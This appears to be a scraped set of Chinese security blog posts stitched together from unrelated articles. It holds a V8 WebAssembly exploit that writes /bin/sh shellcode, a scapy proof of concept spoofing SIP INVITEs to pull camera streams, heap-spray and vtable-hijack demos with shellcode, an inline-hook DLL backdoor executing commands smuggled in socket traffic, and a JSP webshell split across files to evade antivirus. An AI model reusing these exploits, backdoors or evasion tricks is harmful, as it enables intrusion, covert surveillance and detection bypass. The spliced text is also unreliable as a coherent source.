105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0,
65, 42, 11,
]);

var wasm_mod2 = new WebAssembly.Module(wasm_code2);
var wasm_instance2 = new WebAssembly.Instance(wasm_mod2);
var f = wasm_instance2.exports.main;

wasm_instance2_addr = addrOf(wasm_instance2);

wasm_instance2_rwx_page_addr = wasm_instance2_addr + 0x60n - 1n;
helper.printhex('rwx page addr @', wasm_instance2_rwx_page_addr);
// %SystemBreak();
wasm_instance2_rwx_page = arbRead(wasm_instance2_rwx_page_addr);
helper.printhex('rwx page @', wasm_instance2_rwx_page);

shellcode = [0x99583b6a, 0x622fbb48, 0x732f6e69, 0x48530068, 0x2d68e789, 0x48000063, 0xe852e689, 0x00000008,
0x6e69622f, 0x0068732f, 0x89485756, 0x00050fe6];

for(let i=0; i<shellcode.length; i=i+2){
    arbWrite(wasm_instance2_rwx_page +(BigInt(i) * 4n),helper.isetlhtoi(shellcode[i],shellcode[i+1]));
}

// dp(wasm_instance2);
// %SystemBreak();

f();

参考

• https://mem2019.github.io/jekyll/update/2022/02/06/DiceCTF-Memory-Hole.html
• https://blog.kylebot.net/2022/02/06/DiceCTF-2022-memory-hole/
• https://docs.google.com/document/d/1FM4fQmIhEqPG8uGp5o9A-mnPB5BOeScZYpkHjo0KKA8/edit#
• https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/Global/Global
• https://developer.mozilla.org/zh-CN/docs/WebAssembly/Understanding_the_text_format
• https://github.com/mdn/webassembly-examples/blob/master/js-api-examples/global.wat

GB28181 是视频监控领域的国家标准，规定了公共安全视频监控联网系统的互联结构， 传输、交换、控制的基本要求和安全性要求， 以及控制、传输流程和协议接口等技术要求。

目前大多数厂商的摄像头都支持这个协议，用户可以自己实现媒体服务器，使用这个协议从摄像头上拉流观看。

客户端拉流过程

见图

GB28181 协议会话通道用的是 SIP 协议，往下看需要一些 SIP 协议相关的知识。

带入到实际场景中，各个实体的身份 ⬇️：

• 媒体流接收者：观众，客户端
• SIP 服务器：信令服务器，和摄像头 NVR 设备交互，摄像头 NVR 在使用前需要发送 REGISTER 包注册到 SIP 服务器
• 媒体服务器：接收推流的服务器，转发媒体流给观众
• 媒体流发送者：摄像头 NVR

过程：

1、媒体流接收者向 SIP 服务器发送 Invite 消息，消息头域中携带 Subject 字段，表明点播的视频 源 ID、分辨率、媒体流接收者 ID、接收端媒体流序列号标识等参数，SDP 消息体中 s 字段为“Play” 代表实时点播;

2、SIP 服务器收到 Invite 请求后，通过三方呼叫控制建立媒体服务器和媒体流发送者之间的媒体连接。向媒体服务器发送 Invite 消息，此消息不携带 SDP 消息体;

3、媒体服务器收到 SIP 服务器的 Invite 请求后，回复 200OK 响应，携带 SDP 消息体，消息体中 描述了媒体服务器接收媒体流的 IP、端口、媒体格式等内容;

4、SIP 服务器收到媒体服务器返回的 200OK 响应后，向媒体流发送者发送 Invite 请求，请求中携 带消息 3 中媒体服务器回复的 200OK 响应消息体，并且修改 s 字段为“Play”代表实时点播，增 加 y 字段描述 SSRC 值，f 字段描述媒体参数;

5、媒体流发送者收到 SIP 服务器的 Invite 请求后，回复 200OK 响应，携带 SDP 消息体，消息体 中描述了媒体流发送者发送媒体流的 IP、端口、媒体格式、SSRC 字段等内容;

6、SIP 服务器收到媒体流发送者返回的 200OK 响应后，向媒体服务器发送 ACK 请求，请求中携 带消息 5 中媒体流发送者回复的 200OK 响应消息体，完成与媒体服务器的 Invite 会话建立过程;

7、SIP 服务器收到媒体流发送者返回的 200OK 响应后，向媒体流发送者发送 ACK 请求，请求中 不携带消息体，完成与媒体流发送者的 Invite 会话建立过程;

之后媒体流发送者推流到媒体服务器，媒体服务器在转发给接收者。

风险点

看上面的活动图，媒体流发送者在收到 SIP 服务器的 INVITE + ACK 包之后就开始推流，
BYE 包用于终止推流，其它实体和它并没有交互。

一般情况下，NVR 支持的 SIP 是基于 UDP 的，而 UDP 报文的源 IP 是可以伪造。假如流媒体发送者（即NVR）没有对接受的信令校验认证，攻击者只要知道 SIP 服务器的 IP 地址，就可以伪造 SIP 服务器的身份，向 NVR 发起推流请求 （INVITE + ACK 包)，推流到任意的流媒体服务器。

如下

最终效果是绕过 SIP 服务器，直接看摄像头了。

用 scapy 写 POC 很容易

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44

from scapy.all import *

INVITE_PKG ='''INVITE sip:66612310001@192.168.1.2 SIP/2.0
Call-ID: 0a097798b89c7897982198abcde8291@192.168.1.1
CSeq: 2 INVITE
From: <sip:77779200001@6661200000>;tag=fromTag
To: <sip:66612310001@6661200000>
Via: SIP/2.0/UDP 192.168.1.2
Max-Forwards: 70
Contact: <sip:77779200001@192.168.1.1:5060>
Content-Type: Application/SDP
Content-Length: 248

v=0
o=77779200001 0 0 IN IP4 192.168.1.1
s=Play
u=66612310001:0
c=IN IP4 188.8.8.8
t=0 0
m=video 2021 RTP/AVP 96 98 97
a=recvonly
a=rtpmap:96 PS/90000
a=rtpmap:98 H264/90000
a=rtpmap:97 MPEG4/90000
y=0200000849

'''.replace('\n','\r\n')

sendp(Ether()/IP(dst='192.168.1.2',src='192.168.1.1')/UDP(dport=5060)/INVITE_PKG)

ACK_PKG = '''ACK sip:66612310001@192.168.1.2 SIP/2.0
Call-ID: 0a097798b89c7897982198abcde8291@192.168.1.1
CSeq: 2 ACK
From: <sip:77779200001@6661200000>;tag=fromTag
To: <sip:66612310001@6661200000>
Via: SIP/2.0/UDP 192.168.1.2
Max-Forwards: 70
Contact: <sip:77779200001@192.168.1.1:5060>
Content-Type: Application/SDP
Content-Length: 0

'''.replace('\n','\r\n')

sendp(Ether()/IP(dst='192.168.1.2',src='192.168.1.1')/UDP(dport=5060)/ACK_PKG)

目前国内要求运营商在接入网上进行源地址验证，所以公网上这种攻击可能不是那么容易成功，但总有些路由器设备配置会存在缺陷，还是可以伪造的，看运气了。

End

GB28181 中有提到关于 “SIP 信令认证”，在 SIP 服务器和媒体流发送者之间加入一个加密模块，每个 SIP 信令中加入额外的校验字段。在每一端接收到 SIP 信令后都要去和这个加密模块校验，校验通过的信令才会被处理。

前端设备： 联网系统中安装于监控现场的信息采集、编码/处理、存储、传输、安全控制等设备。 这里指 NVR。

这只是一个补充的部分，还没有看到有哪家监控厂商实现，因为需要有配套的 SIP 服务器，大客户才能定制吧。

如果对安全性要求比较高，可以考虑让 NVR 走安全隧道。

[RealPwn] 系列是我学习 pwn 的笔记，只记录真实场景中常用到的漏洞利用技术。

堆喷

堆喷的利用，简单概括就是，申请大量内存，申请到 0x0C0C0C0C ，写入 slides + shellcode ，再控制 EIP 指向 0x0C0C0C0C 即可。

理论上这里的 0x0C0C0C0C 可以替换为别的，比如 0x90、0x0D 等不影响shellcode 执行的指令。

实际场景，常见的思路是覆盖对象的虚函数表指针 vptr，在 0x0C0C0C0C 伪造一个虚函数表，填满 0x0C0C0C0C + shellcode ，当调用对象的虚函数时，会取到 0x0C0C0C0C 作为函数的地址，跳回到 0x0C0C0C0C 的起始，把后面的数据当作指令执行，

为什么不用 0x90909090 (nop;nop;nop;nop;) ? 是因为 0x90909090 > 0x7fffffff 处在内核空间，程序跳到那会 crash。

调试

开始调吧，还是 VS2019 + x32dbg 。

代码：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68

#include <iostream>
#include <Windows.h>

#define ALLOC_SIZE 0x100000

using namespace std;

class A {
public:
virtual int pwn() {
return 1;
}
};

// 弹计算器
char shellcode[] = "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
"\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
"\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
"\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
"\x8d\x5d\x6a\x01\x8d\x85\xb2\x00\x00\x00\x50\x68\x31\x8b\x6f"
"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5"
"\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a"
"\x00\x53\xff\xd5\x63\x61\x6c\x63\x00";

int main() {
char msg[128];

A* a = new A;
long* a_addr = (long*) a;
long* vptr = (long*) ( *a_addr);

a_addr[0] = 0x0C0C0C0C; // 修改 vptr

sprintf_s(msg, "object a address: 0x%p", a_addr);
cout << msg << endl;
sprintf_s(msg, "vtable address: 0x%p", vptr[0]);
cout << msg << endl;

system("pause");

for(int i = 0; i < 0x100 ; i++) { // 模拟堆喷，申请大量内存，256 个 chunk
long* buf = (long*) malloc(ALLOC_SIZE); // 1MB

sprintf_s(msg, "chunk[%d] addr: 0x%p", i, buf);
cout << msg << endl;

if((long) buf == 0) break; // 内存不足 malloc 失败

memset(buf, 0x0c, ALLOC_SIZE - sizeof(shellcode)); // 填充 slides
if((long) buf + ALLOC_SIZE > 0x0c0c0c0c && (long) buf < 0x0c0c0c0c){ // 此处判断可以省略
memset(buf, 0x0c, ALLOC_SIZE - sizeof(shellcode)); // 填充 slides
memcpy(buf + (ALLOC_SIZE - sizeof(shellcode))/4, shellcode, sizeof(shellcode)); // 写 shellcode
system("pause");
break;
}
}

system("pause");

a->pwn(); // 调用虚函数

return 0;
}

运行程序

代码里直接把 vptr 已经修改成 0x0C0C0C0C ，模拟虚函数表劫持。

bp 0x0c0c0c0c 打上断点，继续。

这里模拟了堆喷的过程，申请到的 0x0C0C0C0C 在 chunk\[158\] 里。

可以看到在向堆申请空间时，地址是从小到大的，有一定随机性，且有概率申请不到 0x0C0C0C0C ，这可能也是二进制漏洞利用不如web漏洞利用稳定的原因之一。

现在已经 slides 和 shellcode 都写上去了。

继续，就到调用虚函数了，顺利的话就会弹出计算器。

注意，malloc 的内存默认只有 RW 权限，同 【RealPwn-1】 虚函数表劫持练习 一样，需要暂时关闭 DEP 才能执行 shellcode，实际场景中需要构造 ROP 链。

References

• Heap Spray（堆喷射）简介

[RealPwn] 系列是我学习 pwn 的笔记，只记录真实场景中常用到的漏洞利用技术。

虚函数表

C++ 里，为了实现 “多态” ，使用了虚函数表 (vtable)。

每个含有虚函数的类的对象，在内存的起始处有一个 vptr 的指针，指向虚函数表。

虚函数表存了类里所有虚函数的指针。调用函数时，在这个虚函数表里查找实际要调用的函数。

借用网上的一张图

特性

总结下虚函数表的特性：

1. 虚函数表在 .data 段，仅可读，无法修改

2. 虚函数表类似一个数组，每个有虚函数的类的对象实例都存储指向虚函数表的指针。

3. 虚函数表指针 vptr 一般在对象起始的 4 字节（32 位） 或 8 字节（64 位），多重继承时有可能存在多个虚函数表，

调试

下面调试一下，环境 VS2019 + x32dbg：

代码：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27

#include <iostream>
#include <Windows.h>

using namespace std;

class A {
public :
virtual int hijackme() {
return 1;
}
};

int main() {
char msg[128];

A* a = new A;
long* a_addr = (long*) a;
long* vptr = (long*) ( *a_addr);

sprintf(msg, "object a address: 0x%p", a_addr);
cout << msg << endl;
sprintf(msg, "vtable address: 0x%p", vptr[0]);
cout << msg << endl;

system("pause");
return 0;
}

x32dbg 里看内存

0x014FD028 是 vptr ，指向虚函数表。

0xB131EC 是虚函数表，所在内存是只读的无法修改，它指向的是函数实际的地址，无法修改虚表中函数的地址。

对象是在堆上的，它的内存是 RW 可读可写的，常见的攻击思路是修改对象的虚函数表指针 vptr ，即 0x014FD028 中的数据。

试验一下。

要在内存中伪造出一个虚表，将对象的虚表指针指向它。

修改代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62

#include <iostream>
#include <Windows.h>

using namespace std;

class A {
public :
virtual int hijackme() {
return 1;
}
};

// 弹计算器
char shellcode[0x1000] = "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
"\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
"\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
"\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
"\x8d\x5d\x6a\x01\x8d\x85\xb2\x00\x00\x00\x50\x68\x31\x8b\x6f"
"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5"
"\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a"
"\x00\x53\xff\xd5\x63\x61\x6c\x63\x00";

 int main() {
char msg[128];

A* a = new A;
long* a_addr = (long*) a;
long* vptr = (long*) ( *a_addr );

sprintf(msg, "object a address: 0x%p", a_addr);
cout << msg << endl;
sprintf(msg, "vtable address: 0x%p", vptr[0]);
cout << msg << endl;

system("pause");

char fake_vtable[4]; //伪造一个虚表
long shellcode_addr = (long)((long*) (shellcode));
memcpy(fake_vtable, &shellcode_addr ,4); //虚表指向shellcode

sprintf(msg, "fake_vtable address: 0x%p", &fake_vtable);
cout << msg << endl;

sprintf(msg, "shellcode address: 0x%p", (long*) shellcode);
cout << msg << endl;

system("pause");

long fake_vtable_addr = (long) ( (long*) fake_vtable );
memcpy(tmp, &fake_vtable_addr, 4); // 修改对象虚表指针，指向伪造的虚表

system("pause");

a->hijackme();

return 0;
}

重新执行

在 0x00DCFE44 处构造一个虚表，只要一个项，指向 0x00535020 。

0x00535020 是 shellcode

这里涉及到一个问题，shellcode 是在 .data 段不可执行的，一般来说需要构造 ROP 链，给 shellcode 所在内存加上执行权限。这里略过这个问题，暂时先关掉 DEP（属性 —> 链接器 —> 高级）。

应该就可以执行 shellcode 了。

References

C++虚函数调用攻防战

本文首发 https://xz.aliyun.com/t/9774

标题中的 “通用” 指跨语言，本文的实现是基于 Windows 的，需要 Linux 的可以参考本文的思路，实现起来并没有太大区别。

原理

Windows 上程序涉及网络 socket 操作，一般都会用到 winsock2 的库，程序会动态链接 ws2_32.dll ，JVM，Python，Zend 等解释器都不例外。

winsock2 里 socket 操作相关的函数 recv send closesocket 会编程的应该都不陌生。hook 掉 recv 函数就可以在程序处理接受到网络数据前，进入我们的处理逻辑早一步收到数据。

由于实现是 native 的，所以在成功 hook 的情况下能绕过现代的 RASP、IAST、云WAF 等现代流行的防护技术。

Inline Hook

Inline Hook 是在程序运行时直接修改指令，插入跳转指令（jmp/call/retn）来控制程序执行流的一种技术。相比别的 Hook 技术，Inline Hook 优点是能跨平台，稳定，本文是以此技术实现的。

实现

具体实现分为两个部分，一个是hook函数的 DLL(只讲这个)；另一个是向进程注入 DLL 的辅助工具(网上的文章很多，需要的见完整源码)。

InstallHook

安装钩子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38

#define START_BLOCK "#CMD0#"
#define END_BLOCK "#CMD1#"

DWORD dwInstSize = 12;
BYTE RecvEntryPointInst[12] = { 0x00 };
BYTE RecvEntryPointInstHook[12] = { 0x48, 0xB8, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0xFF, 0xE0 };
BYTE WSARecvEntryPointInst[12] = { 0x00 };
BYTE WSARecvEntryPointInstHook[12] = { 0x48, 0xB8, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0xFF, 0xE0 };

typedef int ( *PFNRecv )( SOCKET, char*, int, int );
typedef int ( *PFNSend )( SOCKET, char*, int, int );

typedef int ( *PFNWSARecv ) ( SOCKET, LPWSABUF, DWORD, LPDWORD, LPDWORD, LPWSAOVERLAPPED, LPWSAOVERLAPPED_COMPLETION_ROUTINE );
typedef int ( *PFNWSASend ) ( SOCKET, LPWSABUF, DWORD, LPDWORD, LPDWORD, LPWSAOVERLAPPED, LPWSAOVERLAPPED_COMPLETION_ROUTINE );

void InstallHook(LPCWSTR lpModule, LPCSTR lpFuncName, LPVOID lpFunction) {
DWORD_PTR FuncAddress = (UINT64) GetProcAddress(GetModuleHandleW(lpModule), lpFuncName);
DWORD OldProtect = 0;

if(VirtualProtect((LPVOID) FuncAddress, dwInstSize, PAGE_EXECUTE_READWRITE, &OldProtect))
{
if(!strcmp(lpFuncName, "recv")) {
memcpy(RecvEntryPointInst, (LPVOID) FuncAddress, dwInstSize);
*(PINT64) ( RecvEntryPointInstHook + 2 ) = (UINT64) lpFunction;
}
if(!strcmp(lpFuncName, "WSARecv")) {
memcpy(WSARecvEntryPointInst, (LPVOID) FuncAddress, dwInstSize);
*(PINT64) ( WSARecvEntryPointInstHook + 2 ) = (UINT64) lpFunction;
}
}

if(!strcmp(lpFuncName, "recv")) 
memcpy((LPVOID) FuncAddress, &RecvEntryPointInstHook, sizeof(RecvEntryPointInstHook));
if(!strcmp(lpFuncName,"WSARecv"))
memcpy((LPVOID) FuncAddress, &WSARecvEntryPointInstHook, sizeof(WSARecvEntryPointInstHook));

VirtualProtect((LPVOID) FuncAddress, dwInstSize, OldProtect, &OldProtect);
}

UninstallHook

卸载钩子

1
2
3
4
5
6
7
8
9
10
11
12
13

void UninstallHook(LPCWSTR lpModule, LPCSTR lpFuncName) {
UINT64 FuncAddress = (UINT64) GetProcAddress(GetModuleHandleW(lpModule), lpFuncName);
DWORD OldProtect = 0;

if(VirtualProtect((LPVOID) FuncAddress, dwInstSize, PAGE_EXECUTE_READWRITE, &OldProtect))
{
if(!strcmp(lpFuncName, "recv")) 
memcpy((LPVOID) FuncAddress, RecvEntryPointInst, sizeof(RecvEntryPointInst));
if(!strcmp(lpFuncName,"WSARecv"))
memcpy((LPVOID) FuncAddress, WSARecvEntryPointInst, sizeof(WSARecvEntryPointInst));
}
VirtualProtect((LPVOID) FuncAddress, dwInstSize, OldProtect, &OldProtect);
}

HookRecv

hook recv 的函数，程序在执行 recv 时，会先进入这个函数。

在这个函数里，调用原来的 recv 获取数据，判断是否有START_BLOCK、END_BLOCK块，有的话就取出块之间的命令，执行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62

int WINAPI HookRecv(SOCKET s, char* buf, int len, int flags) {
UninstallHook(L"ws2_32.dll", "recv");

PFNRecv pfnRecv = (PFNRecv) GetProcAddress(GetModuleHandleW(L"ws2_32.dll"), "recv");
PFNSend pfnSend = (PFNSend) GetProcAddress(GetModuleHandleW(L"ws2_32.dll"), "send");
PFNClosesocket pfnClosesocket = (PFNClosesocket) GetProcAddress(GetModuleHandleW(L"ws2_32.dll"), "closesocket");

int rc = pfnRecv(s, buf, len, flags);

char* startBlock = strstr(buf, START_BLOCK);
if(startBlock) {
char* endBlock = strstr(startBlock, END_BLOCK);
if(endBlock) {
std::string start_block = std::string(startBlock);
int endOffset = start_block.find(END_BLOCK, sizeof(START_BLOCK));
std::string cmd = start_block.substr(sizeof(START_BLOCK) - 1, start_block.size() - sizeof(START_BLOCK) - ( start_block.size() - endOffset ) + 1);

std::string output = WSTR2STR(ExecuteCmd(cmd));

pfnSend(s, (char*) output.c_str(), output.size(), 0);
         pfnClosesocket(s);
}
}

InstallHook(L"ws2_32.dll", "recv", (LPVOID) HookRecv);

return  rc;
}


int WINAPI HookWSARecv(SOCKET s, LPWSABUF lpBuffer, DWORD dwBufferCount, LPDWORD lpNumberOfBytesRecvd, LPDWORD lpFlags, LPWSAOVERLAPPED lpOverlapped, LPWSAOVERLAPPED_COMPLETION_ROUTINE lpCompletionRoutine) {

UninstallHook(L"ws2_32.dll", "WSARecv");

PFNWSARecv pfnWSARecv = (PFNWSARecv) GetProcAddress(GetModuleHandleW(L"ws2_32.dll"), "WSARecv");
PFNWSASend pfnWSASend = (PFNWSASend) GetProcAddress(GetModuleHandleW(L"ws2_32.dll"), "WSASend");
PFNClosesocket pfnClosesocket = (PFNClosesocket) GetProcAddress(GetModuleHandleW(L"ws2_32.dll"), "closesocket");

int rc = pfnWSARecv(s, lpBuffer, dwBufferCount, lpNumberOfBytesRecvd, lpFlags, lpOverlapped, lpCompletionRoutine);

char* startBlock = strstr(lpBuffer->buf, START_BLOCK);
if(startBlock) {
char* endBlock = strstr(startBlock, END_BLOCK);
if(endBlock) {
std::string start_block = std::string(startBlock);
int endOffset = start_block.find(END_BLOCK, sizeof(START_BLOCK));
std::string cmd = start_block.substr(sizeof(START_BLOCK) - 1, start_block.size() - sizeof(START_BLOCK) - ( start_block.size() - endOffset ) + 1);

WSABUF outBuf;
std::string output = WSTR2STR(ExecuteCmd(cmd));
outBuf.buf = (char*) output.c_str();
outBuf.len = output.size();

pfnWSASend(s, &outBuf, 1, lpNumberOfBytesRecvd, 0, 0, 0);
         pfnClosesocket(s);
}
}

InstallHook(L"ws2_32.dll", "WSARecv", (LPVOID) HookWSARecv);

return  rc;
}

这里还 hook 了 WSARecv ，是因为我在 Tomcat 上测试遇到个问题 hook recv 后收到的数据是乱码，长度也对不上。 后来想到 Tomcat 现在默认是 NIO 处理，JVM 的用的 API 可能不一样，翻看了一下源码，发现 Windows 上 NIO 相关的 socket 操作函数实际用的是 WSARecv、WSASend 等带 WSA 前缀的，加了 hook 点之后能正常读到数据了。

DllMain

DLL 入口，调用安装钩子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved) {
switch(fdwReason)
{
case DLL_PROCESS_ATTACH:
InstallHook(L"ws2_32.dll", "recv", (LPVOID) HookRecv);
InstallHook(L"ws2_32.dll", "WSARecv", (LPVOID) HookWSARecv);
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}

效果

Java

Python

过程

0. 先安装 VisualStudio 2019，略详细过程

1. clone 开发环境

   1 2 3

   cd /d d:\ git clone https://chromium.googlesource.com/chromium/tools/depot_tools

2. 设置环境变量

   1 2	set DEPOT_TOOLS_WIN_TOOLCHAIN=0 set GYP_MSVS_VERSION=2019 # 视VS版本而定

3. clone v8 仓库，完整的大概 700M

   1

   fetch v8

4. 同步第三方组件，会花一点时间

   1	gclient sync

5. 生成编译配置

   1	python tools/dev/v8gen.py ia32.debug

6. 编译，大概 10 分钟

   1	ninja -C .\out.gn\ia32.debug d8 -j12

7. 完成

问题

提示缺少 LASTCHANGE

1

python .\build\util\lastchange.py .\build\util\LASTCHANGE

找不到 clang-cl.exe

1

python .\tools\clang\scripts\update.py

某云的骑士号称是采用先进的动态监测技术，结合主机智能内核AI检测技术等多种引擎零规则查杀，做到低误报，高查杀率。

测下来查杀率确实高，只要出现 Runtime.getRuntime().exec("calc") 等命令执行直接相关的方法调用就杀，不过一个样本测下来要一分钟，速度相当慢，实际落地还要很长的路要走。/狗头

绕过

开始讲绕过。

首先是命令执行的sink，直接写 Runtime.getRuntime().exec() 即使jsp编译不通过也是会被check到的，说明引擎有一些强检测逻辑，类似正则，匹配即杀。而如果迂回一下，我们找一个跳板，比如 new ProcessBuilder() ，或者反射构造 ProcessImpl 实例，还不会被杀，(用法参考三梦的文章)。

构造好跳板，当调用 start() 实际执行的时候，如果命令是硬编码的没有杀，如果是从 request.getParameter(“xxx”) 取的还是会杀的。

说明引擎应该用到了类似污点分析的原理，更换命令执行的 sink 是可以绕过的，但要完全绕过还要找别的 source，试了一圈 request 对象的方法，只有 request.getSchema() 等内容不可控方法的时候不会杀，内容不可控有啥用:(

研究了下，我想到了这个引擎的问题（应该也通杀别的），就是在检测时，无法构造出完整的上下文环境。它是单文件一个个扫过去的，如果我们拆分 soure-sink 到多个文件呢，扫任意一个jsp都没问题。甚至很可能因为通不过编译，压根儿动态监测不起来。

include

下面用到 jsp 的一个特性 include 指令。

include 指令用于通知 JSP 引擎在翻译当前 JSP 页面时，将其他文件中的内容合并进当前 JSP 页面转换成的 Servlet 源文件中，这种在源文件级别进行引入的方式，称为静态引入，当前 JSP 页面与静态引入的文件紧密结合为一个 Servlet。这些文件可以是 JSP 页面、HTML 页面、文本文件或是一段 Java 代码。

我们完全可以把完整的逻辑拆分，即把参数获取和命令执行的分开。

举个例子

AB.jsp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26

<%@ page import="javax.el.ELProcessor" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStreamReader" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<body>
<%
    String cmd = request.getParameter("cmd");
    ELProcessor processor = new ELProcessor();
    Process process = (Process) processor.eval(
            "\"\".getClass()" +
                    ".forName(\"javax.script.ScriptEngineManager\")." +
                    "newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['" +
                    cmd + "']).start()\")");
    InputStream inputStream = process.getInputStream();
    StringBuilder sb = new StringBuilder();
    BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream));
    String line;
    while ((line = bufferedReader.readLine()) != null) {
        sb.append(line).append("\n");
    }
    response.getOutputStream().write(sb.toString().getBytes());
%>
</body>
</html>

source request.getParameter，通过 sink ELProcessor.eval 执行命令，会被杀。

拆分逻辑到 A.jsp B.jsp

A.jsp

1
2
3

<%
    String cmd = request.getParameter("cmd");
%>

B.jsp ELProcessor.eval 执行命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="javax.el.ELProcessor" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStreamReader" %>
<%@include file="A.jsp" %>
<html>
<body>
<%
    ELProcessor processor = new ELProcessor();
    Process process = (Process) processor.eval(
            "\"\".getClass()" +
                    ".forName(\"javax.script.ScriptEngineManager\")." +
                    "newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['" +
                    cmd + "']).start()\")");
    InputStream inputStream = process.getInputStream();
    StringBuilder sb = new StringBuilder();
    BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream));
    String line;
    while ((line = bufferedReader.readLine()) != null) {
        sb.append(line).append("\n");
    }
    response.getOutputStream().write(sb.toString().getBytes());
%>
</body>
</html>

A.jsp 只负责取参，看起来没有问题。

B.jsp sink没有被硬杀，而且缺少 A.jsp 的情况编译不过，跑不起来动态监测不了。

完全绕过。

环境是 MacOS 10.15 Catalina，VBox 6.1.16 。

安装SDK

Xcode10之后编译系统改了，我们需要用老版本的Xcode编译，所以要用 XcodeLegacy 。

1
2

git clone --depth=1 https://hub.fastgit.org/devernay/xcodelegacy.git
cd xcodelegacy

再下载 Xcode6.4 ，放到 xcodelegacy 目录下。

安装一下

1
2

./XcodeLegacy.sh -osx109 buildpackages
sudo ./XcodeLegacy.sh -osx109 install

安装依赖

• 安装 homebrew，brew install libidl openssl pkg-config qt
• JDK版本>=6 ，我用的 JDK8
• openssl

编译 openssl

link 的时候可能会因为目标版本不一致出现问题，需要用 10.9 编译的 openssl

下载 openssl ，解压后编译

1
2
3

./config CFLAGS="-g -O2 -mmacosx-version-min=10.9 -isysroot /Developer/SDKs/MacOSX10.9.sdk" CXXFLAGS="-g -O2 -mmacosx-version-min=10.9 -isysroot /Developer/SDKs/MacOSX10.9.sdk" LDFLAGS="-mmacosx-version-min=10.9 -isysroot /Developer/SDKs/MacOSX10.9.sdk" --prefix=/usr/local/opt/openssl@1.1.1i
make -j8
make install

编译

下面开始编译，中途可能还会有些编译错误，需要自己解决一下。末尾有我遇到的问题及解决。

先修改 configure 的 check_darwinversion()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22

check_darwinversion()
{
